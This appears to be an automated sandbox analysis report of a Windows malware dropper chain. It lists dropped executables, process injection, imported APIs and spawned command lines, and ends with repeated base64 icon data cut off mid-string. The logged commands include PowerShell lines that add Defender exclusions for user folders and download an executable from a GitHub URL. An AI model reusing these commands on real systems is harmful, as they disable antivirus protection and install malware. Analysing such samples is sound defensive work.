"1H12M2.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP001.TMP\1H12M2.exe]- [targetUID: 00000000-00001224] "3Y00Z.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP000.TMP\3Y00Z.exe]- [targetUID: 00000000-00008536] "7z.exe" has type "PE32 executable (console) Intel 80386 for MS Windows"- Location: [%TEMP%\Work\7z.exe]- [targetUID: 00000000-00001224] "saved.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\c13dbdc4fa\saved.exe]- [targetUID: 00000000-00001824] "NSudoLG.exe" has type "PE32+ executable (GUI) x86-64 for MS Windows"- Location: [%TEMP%\Work\NSudoLG.exe]- [targetUID: 00000000-00001224] "nircmd.exe" has type "PE32+ executable (GUI) x86-64 for MS Windows"- Location: [%TEMP%\Work\nircmd.exe]- [targetUID: 00000000-00001224] "cecho.exe" has type "PE32 executable (console) Intel 80386 for MS Windows UPX compressed"- Location: [%TEMP%\Work\cecho.exe]- [targetUID: 00000000-00001224] "2O4405.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP001.TMP\2O4405.exe]- [targetUID: 00000000-00007396]75:T4c8,"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "F2a97.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "1H12M2.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "1H12M2.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE GROUPS"; Key: "1") "cmd.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "cmd.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE GROUPS"; Key: "1") "reg.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "2O4405.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE GROUPS"; Key: "1") "2O4405.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "saved.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "3Y00Z.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE GROUPS"; Key: "1")76:T64d,"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe" has section name .text with entropy "6.314163792045976" "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe" has section name .rsrc with entropy "7.995982750607829" "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe" has section name .reloc with entropy "6.222637930812128" "F2a97.exe" has section name .text with entropy "6.314163792045976" "F2a97.exe" has section name .rsrc with entropy "7.991169653547141" "F2a97.exe" has section name .reloc with entropy "6.222637930812128" "1H12M2.exe" has section name with entropy "7.996554242812831" "1H12M2.exe" has section name with entropy "7.9741676967496895" "1H12M2.exe" has section name with entropy "7.468036417040203" "1H12M2.exe" has section name with entropy "7.774619272341197" "1H12M2.exe" has section name .data with entropy "7.937392566013671" "3Y00Z.exe" has section name with entropy "7.984136498548476" "3Y00Z.exe" has section name moizhynh with entropy "7.9549983037390755" "7z.exe" has section name .text with entropy "6.713612828094582" "7z.exe" has section name .reloc with entropy "6.1691871802645295" "saved.exe" has section name .text with entropy "6.528054100126052" "saved.exe" has section name .reloc with entropy "6.654726149024429" "NSudoLG.exe" has section name .text with entropy "6.3424695313316555" "NSudoLG.exe" has section name .rsrc with entropy "6.065830324574059" "nircmd.exe" has section name .text with entropy "6.159825546168519" "cecho.exe" has section name UPX1 with entropy "7.855027344681443"77:T632,"1H12M2.exe" reads file "C:\Windows\win.ini" "1H12M2.exe" reads file "C:\Users\%OSUSER%\Desktop\desktop.ini" "1H12M2.exe" reads file "C:\Users\%OSUSER%\Documents\desktop.ini" "1H12M2.exe" reads file "C:\Users\%OSUSER%\Music\desktop.ini" "1H12M2.exe" reads file "C:\Users\%OSUSER%\Pictures\desktop.ini" "1H12M2.exe" reads file "C:\Users\%OSUSER%\Videos\desktop.ini" "1H12M2.exe" reads file "C:\Users\%OSUSER%\Downloads\desktop.ini" "1H12M2.exe" reads file "C:\Users\%OSUSER%\OneDrive\desktop.ini" "1H12M2.exe" reads file "C:\Users\%OSUSER%\Searches\desktop.ini" "1H12M2.exe" reads file "C:\Users\%OSUSER%\Contacts\desktop.ini" "1H12M2.exe" reads file "C:\Users\%OSUSER%\Favorites\desktop.ini" "1H12M2.exe" reads file "C:\Users\%OSUSER%\Links\desktop.ini" "1H12M2.exe" reads file "C:\Users\%OSUSER%\Saved Games\desktop.ini" "1H12M2.exe" reads file "C:\Users\desktop.ini" "2O4405.exe" reads file "C:\Users\desktop.ini" "2O4405.exe" reads file "C:\Users\%OSUSER%\Desktop\desktop.ini" "2O4405.exe" reads file "C:\Users\%OSUSER%\Documents\desktop.ini" "2O4405.exe" reads file "C:\Users\%OSUSER%\Music\desktop.ini" "2O4405.exe" reads file "C:\Users\%OSUSER%\Pictures\desktop.ini" "2O4405.exe" reads file "C:\Users\%OSUSER%\Videos\desktop.ini" "2O4405.exe" reads file "C:\Users\%OSUSER%\Downloads\desktop.ini" "2O4405.exe" reads file "C:\Users\%OSUSER%\OneDrive\desktop.ini" "2O4405.exe" reads file "C:\Users\%OSUSER%\Searches\desktop.ini" "2O4405.exe" reads file "C:\Users\%OSUSER%\Contacts\desktop.ini" "2O4405.exe" reads file "C:\Users\%OSUSER%\Favorites\desktop.ini"78:T51b,"F2a97.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP000.TMP\F2a97.exe]- [targetUID: 00000000-00007396] "1H12M2.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP001.TMP\1H12M2.exe]- [targetUID: 00000000-00001224] "3Y00Z.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP000.TMP\3Y00Z.exe]- [targetUID: 00000000-00008536] "7z.exe" has type "PE32 executable (console) Intel 80386 for MS Windows"- Location: [%TEMP%\Work\7z.exe]- [targetUID: 00000000-00001224] "saved.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\c13dbdc4fa\saved.exe]- [targetUID: 00000000-00001824] "NSudoLG.exe" has type "PE32+ executable (GUI) x86-64 for MS Windows"- Location: [%TEMP%\Work\NSudoLG.exe]- [targetUID: 00000000-00001224] "nircmd.exe" has type "PE32+ executable (GUI) x86-64 for MS Windows"- Location: [%TEMP%\Work\nircmd.exe]- [targetUID: 00000000-00001224] "cecho.exe" has type "PE32 executable (console) Intel 80386 for MS Windows UPX compressed"- Location: [%TEMP%\Work\cecho.exe]- [targetUID: 00000000-00001224] "2O4405.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP001.TMP\2O4405.exe]- [targetUID: 00000000-00007396]79:T827,"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe" wrote 32768 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\F2a97.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe" wrote 23552 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\3Y00Z.exe": 4d5a78000100000004000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000780000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e240000504500004c010700 ... "F2a97.exe" wrote 32768 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\1H12M2.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000100100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "F2a97.exe" wrote 8767 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\2O4405.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "1H12M2.exe" wrote 26112 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\Work\cecho.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ...7a:T426,"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\3Y00Z.exe" for deletion "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\F2a97.exe" for deletion "F2a97.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\2O4405.exe" for deletion "F2a97.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\1H12M2.exe" for deletion "1H12M2.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\__tmp_rar_sfx_access_check_907783021" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_1kgnjpiq.0q1.ps1" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_ix2fdbqw.ohr.psm1" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_di3ut32l.amm.ps1" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_1myeetgm.fvu.psm1" for deletion7b:T5a2,"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP" with delete access "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\3Y00Z.exe" with delete access "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\F2a97.exe" with delete access "F2a97.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP" with delete access "F2a97.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP" with delete access "F2a97.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\2O4405.exe" with delete access "F2a97.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\1H12M2.exe" with delete access "1H12M2.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\__tmp_rar_sfx_access_check_907783021" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_1kgnjpiq.0q1.ps1" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_ix2fdbqw.ohr.psm1" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_di3ut32l.amm.ps1" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_1myeetgm.fvu.psm1" with delete access7c:T6bb,RegDeleteValueA OpenProcessToken RegOpenKeyExA RegCloseKey RegCreateKeyExA CreateFileA GetModuleHandleW DeleteFileA Sleep TerminateProcess FindNextFileA GetDriveTypeA GetModuleFileNameA CreateDirectoryA GetSystemInfo LoadLibraryExA GetStartupInfoW GetVersionExA GetSystemDirectoryA FindFirstFileA GetTickCount GetFileAttributesA GetTempPathA CreateThread CreateProcessA LoadLibraryA LockResource UnhandledExceptionFilter WriteFile FindResourceA GetProcAddress GetTempFileNameA GetModuleHandleA VirtualAlloc ShellExecuteA RegOpenKeyExW FindFirstFileW GetVersionExW GetModuleFileNameW GetFileAttributesW GetFileSize DeviceIoControl GetCommandLineW CreateDirectoryW MapViewOfFile FindNextFileW OpenFileMappingW GetTempPathW DeleteFileW LoadLibraryW CreateFileW LookupAccountNameA GetUserNameA GetFileSizeEx SleepConditionVariableSRW VirtualAllocEx GetThreadContext SleepConditionVariableCS GetComputerNameExW ReadProcessMemory LoadLibraryExW IsDebuggerPresent WriteProcessMemory CreateToolhelp32Snapshot GetModuleHandleExW Process32FirstW FindFirstFileExW OpenProcess GetDriveTypeW GetCommandLineA Process32NextW CreateThreadpoolWork InternetReadFile InternetWriteFile InternetOpenW InternetCloseHandle InternetConnectA InternetOpenA HttpSendRequestExA InternetOpenUrlA HttpSendRequestA send socket WSAStartup closesocket recv connect StartServiceW CreateProcessAsUserW SleepEx GetTickCount64 OutputDebugStringW FindResourceExW RegDeleteKeyA WinExec OutputDebugStringA Process32Next Process32First CopyFileA GetStartupInfoA ShellExecuteExA GetClipboardData FindWindowA GetCursorPos GetWindowThreadProcessId VirtualProtect7d:T419,"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe" wrote 00000004 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\F2a97.exe" (Handle: 652) "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe" wrote 00000004 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\3Y00Z.exe" (Handle: 124) "F2a97.exe" wrote 00000004 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\1H12M2.exe" (Handle: 656) "F2a97.exe" wrote 00000004 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\2O4405.exe" (Handle: 660) "cmd.exe" wrote 00000004 bytes to a remote process "C:\Windows\SysWOW64\chcp.com" (Handle: 700) "cmd.exe" wrote 00000004 bytes to a remote process "C:\Windows\SysWOW64\reg.exe" (Handle: 708) "cmd.exe" wrote 00000004 bytes to a remote process "C:\Windows\SysWOW64\reg.exe" (Handle: 696) "2O4405.exe" wrote 00000004 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\c13dbdc4fa\saved.exe" (Handle: 1552)7e:T118b,Spawned process "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe" (UID: 00000000-00000860) Spawned process "F2a97.exe" (UID: 00000000-00007396) Spawned process "1H12M2.exe" (UID: 00000000-00001224) Spawned process "cmd.exe" with commandline "%WINDIR%\\system32\\cmd.exe /c ""%TEMP%\\34.bat" "" (UID: 00000000-00006600) Spawned process "cmd.exe" with commandline "/c "%TEMP%\\34.bat" any_word" (UID: 00000000-00001308) Spawned process "chcp.com" with commandline "chcp 65001" (UID: 00000000-00001276) Spawned process "reg.exe" with commandline "reg query "HKU\\S-1-5-19"" (UID: 00000000-00008888) Spawned process "2O4405.exe" (UID: 00000000-00001812) Spawned process "saved.exe" (UID: 00000000-00001824) Spawned process "reg.exe" with commandline "reg add "HKU\\S-1-5-18\\Software\\Microsoft\\Windows\\CurrentVersion\\Themes\\Personalize" /v "AppsUseLightTheme" /t reg_dword /d 0 /f" (UID: 00000000-00007792) Spawned process "3Y00Z.exe" (UID: 00000000-00008536) Spawned process "WerFault.exe" with commandline "-pss -s 464 -p 8536 -ip 8536" (UID: 00000000-00004672) Spawned process "WerFault.exe" with commandline "-u -p 8536 -s 848" (UID: 00000000-00006584) Spawned process "WerFault.exe" with commandline "-u -p 8536 -s 848" (UID: 00000000-00009024) Spawned process "NSudoLG.exe" with commandline "NSudoLG -U:T -P:E -UseCurrentConsole %TEMP%\\34.bat" (UID: 00000000-00009008) Spawned process "cmd.exe" with commandline "/c %TEMP%\\34.bat" (UID: 00000000-00002140) Spawned process "cmd.exe" with commandline "/c "%TEMP%\\34.bat" any_word" (UID: 00000000-00009132) Spawned process "chcp.com" with commandline "chcp 65001" (UID: 00000000-00009052) Spawned process "reg.exe" with commandline "reg query "HKU\\S-1-5-19"" (UID: 00000000-00006792) Spawned process "reg.exe" with commandline "reg add "HKU\\S-1-5-18\\Software\\Microsoft\\Windows\\CurrentVersion\\Themes\\Personalize" /v "AppsUseLightTheme" /t reg_dword /d 0 /f" (UID: 00000000-00008076) Spawned process "cmd.exe" with commandline "/c powershell -Command "Add-MpPreference -ExclusionPath '%LOCALAPPDATA%\\ishgdrqmyt' 'C:\\Users' '%ALLUSERSPROFILE%\\"" (UID: 00000000-00009088), Spawned process "powershell.exe" with commandline "powershell -Command "Add-MpPreference -ExclusionPath '%LOCALAPPDATA%\\ishgdrqmyt', 'C:\\Users', '%ALLUSERSPROFILE%\\"" (UID: 00000000-00004460) Spawned process "cmd.exe" with commandline "/c powershell -Command "Add-MpPreference -ExclusionPath '%LOCALAPPDATA%\\ndyvmw' 'C:\\Users' '%ALLUSERSPROFILE%\\"" (UID: 00000000-00005404), Spawned process "powershell.exe" with commandline "powershell -Command "Add-MpPreference -ExclusionPath '%LOCALAPPDATA%\\ndyvmw', 'C:\\Users', '%ALLUSERSPROFILE%\\"" (UID: 00000000-00007072) Spawned process "mode.com" with commandline "Mode 79,49" (UID: 00000000-00007184) Spawned process "WerFault.exe" with commandline "-pss -s 444 -p 4288 -ip 4288" (UID: 00000000-00007820) Spawned process "WerFault.exe" with commandline "-u -p 4288 -s 756" (UID: 00000000-00006992) Spawned process "cmd.exe" with commandline "/c ver" (UID: 00000000-00006372) Spawned process "reg.exe" with commandline "reg query "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System" /v "EnableLUA"" (UID: 00000000-00007696) Spawned process "find.exe" with commandline "find /i "0x0"" (UID: 00000000-00004188) Spawned process "cmd.exe" with commandline "/c tasklist" (UID: 00000000-00004728) Spawned process "tasklist.exe" (UID: 00000000-00004572) Spawned process "cmd.exe" with commandline "/c powershell -Command "Invoke-WebRequest -Uri 'https://github.com/grosesch/ibra/raw/refs/heads/main/chinainstal.exe' -OutFile '%LOCALAPPDATA%\\ndyvmw\\vjzzdd.exe'"" (UID: 00000000-00007800) Spawned process "powershell.exe" with commandline "powershell -Command "Invoke-WebRequest -Uri 'https://github.com/grosesch/ibra/raw/refs/heads/main/chinainstal.exe' -OutFile '%LOCALAPPDATA%\\ndyvmw\\vjzzdd.exe'"" (UID: 00000000-00008744) Spawned process "cmd.exe" with commandline "/c powershell -Command "Invoke-WebRequest -Uri 'https://github.com/grosesch/ibra/raw/refs/heads/main/chinainstal.exe' -OutFile '%LOCALAPPDATA%\\ishgdrqmyt\\vaayhiufhdd.exe'"" (UID: 00000000-00007264) Spawned process "powershell.exe" with commandline "powershell -Command "Invoke-WebRequest -Uri 'https://github.com/grosesch/ibra/raw/refs/heads/main/chinainstal.exe' -OutFile '%LOCALAPPDATA%\\ishgdrqmyt\\vaayhiufhdd.exe'"" (UID: 00000000-00004104)7f:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAACIiIcAAAAAAAAAAAAAAIiIiI+Hd3dwAAAAAAAACIiIiIiHd3eHdwAAAAAIiIj4iI/4d3d3iIdwAAAAd3/4iIiP/4d3ePiId3gAAHB/iIiIj/iIh3j4j3d3cABwf4d4iP/4iIeI+I93d3cAcHh3eIj/iIiHiPiId3d3AHB4iHeP+IiHiIj4iHd3dwBweIiI//iHd4iI+IhwAAAAcHd3ePiPd3eIiPiIcAAAAHB3d3j4+Hd3iIj4iHAAAABwd4h4//h3d4iI+IhwAAAAcHd3eIj4h3eIiPiIcAAAAHB4t4iP/4iIiIj4iHAAAABweHeIj/+IiIh/94hwAAAAcH+IiI//iIiIf/iIcAAAAHB/+IiP//iIiH/4iHAAAABwf/iIiIiIiHeP+IhwAAAAcH+Id3d4iIiIj/iIcAAAAHd4eIiIiPiIiP/4iHAAAAAIh3//iIj/////+IhwAAAAAAd///+P////+PeIcAAAAAAHf///+IiId3iIeHcAAAAAB3h3d3d3eIiIj4iHAAAAAAd4d3iI//////+Hh3AAAAAHeIeP////////+HeAAAAAB3iIj//////4iIiHgAAAiAd4iIj4iIiIiIiIeAAAAAAAj/iIiIiHiIiIiHAAAAAAAAAAh4iIiIiIh3gAAAAAgAAAAAAAAIAAAAAAiAAAD/+A///4AA//wAAH/AAAA/gAAAB4AAAAOAAAABgAAAAYAAAAGAAAA/gAAAP4AAAD+AAAA/gAAAP4AAAD+AAAA/gAAAP4AAAD+AAAA/gAAAP4AAAD/AAAA/8AAAP/AAAB/wAAAf8AAAD/AAAA/wAAAPkAAAH/gAAD//gAB/v/7/nw==80:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAACIiIcAAAAAAAAAAAAAAIiIiI+Hd3dwAAAAAAAACIiIiIiHd3eHdwAAAAAIiIj4iI/4d3d3iIdwAAAAd3/4iIiP/4d3ePiId3gAAHB/iIiIj/iIh3j4j3d3cABwf4d4iP/4iIeI+I93d3cAcHh3eIj/iIiHiPiId3d3AHB4iHeP+IiHiIj4iHd3dwBweIiI//iHd4iI+IhwAAAAcHd3ePiPd3eIiPiIcAAAAHB3d3j4+Hd3iIj4iHAAAABwd4h4//h3d4iI+IhwAAAAcHd3eIj4h3eIiPiIcAAAAHB4t4iP/4iIiIj4iHAAAABweHeIj/+IiIh/94hwAAAAcH+IiI//iIiIf/iIcAAAAHB/+IiP//iIiH/4iHAAAABwf/iIiIiIiHeP+IhwAAAAcH+Id3d4iIiIj/iIcAAAAHd4eIiIiPiIiP/4iHAAAAAIh3//iIj/////+IhwAAAAAAd///+P////+PeIcAAAAAAHf///+IiId3iIeHcAAAAAB3h3d3d3eIiIj4iHAAAAAAd4d3iI//////+Hh3AAAAAHeIeP////////+HeAAAAAB3iIj//////4iIiHgAAAiAd4iIj4iIiIiIiIeAAAAAAAj/iIiIiHiIiIiHAAAAAAAAAAh4iIiIiIh3gAAAAAgAAAAAAAAIAAAAAAiAAAD/+A///4AA//wAAH/AAAA/gAAAB4AAAAOAAAABgAAAAYAAAAGAAAA/gAAAP4AAAD+AAAA/gAAAP4AAAD+AAAA/gAAAP4AAAD+AAAA/gAAAP4AAAD/AAAA/8AAAP/AAAB/wAAAf8AAAD/AAAA/wAAAPkAAAH/gAAD//gAB/v/7/nw==81:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAACIiIcAAAAAAAAAAAAAAIiIiI+Hd3dwAAAAAAAACIiIiIiHd3eHdwAAAAAIiIj4iI/4d3d3iIdwAAAAd3/4iIiP/4d3ePiId3gAAHB/iIiIj/iIh3j4j3d3cABwf4d4iP/4iIeI+I93d3cAcHh3eIj/iIiHiPiId3d3AHB4iHeP+IiHiIj4iHd3dwBweIiI//iHd4iI+IhwAAAAcHd3ePiPd3eIiPiIcAAAAHB3d3j4+Hd3iIj4iHAAAABwd4h4//h3d4iI+IhwAAAAcHd3eIj4h3eIiPiIcAAAAHB4t4iP/4iIiIj4iHAAAABweHeIj/+IiIh/94hwAAAAcH+IiI//iIiIf/iIcAAAAHB/+IiP//iIiH/4iHAAAABwf/iIiIiIiHeP+IhwAAAAcH+Id3d4iIiIj/iIcAAAAHd4eIiIiPiIiP/4iHAAAAAIh3//iIj/////+IhwAAAAAAd///+P////+PeIcAAAAAAHf///+IiId3iIeHcAAAAAB3h3d3d3eIiIj4iHAAAAAAd4d3iI//////+Hh3AAAAAHeIeP////////+HeAAAAAB3iIj//////4iIiHgAAAiAd4iIj4iIiIiIiIeAAAAAAAj/iIiIiHiIiIiHAAAAAAAAAAh4iIiIiIh3gAAAAAgAAAAAAAAIAAAAAAiAAAD/+A///4AA//wAAH/AAAA/gAAAB4AAAAOAAAABgAAAAYAAAAGAAAA/gAAAP4AAAD+AAAA/gAAAP4AAAD+AAAA/gAAAP4AAAD+AAAA/gAAAP4AAAD/AAAA/8AAAP/AAAB/wAAAf8AAAD/AAAA/wAAAPkAAAH/gAAD//gAB/v/7/nw==82:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAACIiIcAAAAAAAAAAAAAAIiIiI+Hd3dwAAAAAAAACIiIiIiHd3eHdwAAAAAIiIj4iI/4d3d3iIdwAAAAd3/4iIiP/4d3ePiId3gAAHB/iIiIj/iIh3j4j3d3cABwf4d4iP/4iIeI+I93d3cAcHh3eIj/iIiHiPiId3d3AHB4iHeP+IiHiIj4iHd3dwBweIiI//iHd4iI+IhwAAAAcHd3ePiPd3eIiPiIcAAAAHB3d3j4+Hd3iIj4iHAAAABwd4h4//h3d4iI+IhwAAAAcHd3eIj4h3eIiPiIcAAAAHB4t4iP/4iIiIj4iHAAAABweHeIj/+IiIh/94hwAAAAcH+IiI//iIiIf/iIcAAAAHB/+IiP//iIiH/4iHAAAABwf/iIiIiIiHeP+IhwAAAAcH+Id3d4iIiIj/iIcAAAAHd4eIiIiPiIiP/4iHAAAAAIh3//iIj/////+IhwAAAAAAd///+P////+PeIcAAAAAAHf///+IiId3iIeHcAAAAAB3h3d3d3eIiIj4iHAAAAAAd4d3iI//////+Hh3AAAAAHeIeP////////+HeAAAAAB3iIj//////4iIiHgAAAiAd4iIj4iIiIiIiIeAAAAAAAj/iIiIiHiIiIiHAAAAAAAAAAh4iIiIiIh3gAAAAAgAAAAAAAAIAAAAAAiAAAD/+A///4AA//wAAH/AAAA/gAAAB4AAAAOAAAABgAAAAYAAAAGAAAA/gAAAP4AAAD+AAAA/gAAAP4AAAD+AAAA/gAAAP4AAAD+AAAA/gAAAP4AAAD/AAAA/8AAAP/AAAB/wAAAf8AAAD/AAAA/wAAAPkAAAH/gAAD//gAB/v/7/nw==83:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAACIiIcAAAAAAAAAAAAAAIiIiI+Hd3dwAAAAAAAACIiIiIiHd3eHdwAAAAAIiIj4iI/4d3d3iIdwAAAAd3/4iIiP/4d3ePiId3gAAHB/iIiIj/iIh3j4j3d3cABwf4d4iP/4iIeI+I93d3cAcHh3eIj/iIiHiPiId3d3AHB4iHeP+IiHiIj4iHd3dwBweIiI//iHd4iI+IhwAAAAcHd3ePiPd3eIiPiIcAAAAHB3d3j4+Hd3iIj4iHAAAABwd4h4//h3d4iI+IhwAAAAcHd3eIj4h3eIiPiIcAAAAHB4t4iP/4iIiIj4iHAAAABweHeIj/+IiIh/94hwAAAAcH+IiI//iIiIf/iIcAAAAHB/+IiP//iIiH/4iHAAAABwf/iIiIiIiHeP+IhwAAAAcH+Id3d4iIiIj/iIcAAAAHd4eIiIiPiIiP/4iHAAAAAIh3//iIj/////+IhwAAAAAAd///+P////+PeIcAAAAAAHf///+IiId3iIeHcAAAAAB3h3d3d3eIiIj4iHAAAAAAd4d3iI//////+Hh3AAAAAHeIeP////////+HeAAAAAB3iIj//////4iIiHgAAAiAd4iIj4iIiIiIiIeAAAAAAAj/iIiIiHiIiIiHAAAAAAAAAAh4iIiIiIh3gAAAAAgAAAAAAAAIAAAAAAiAAAD/+A///4AA/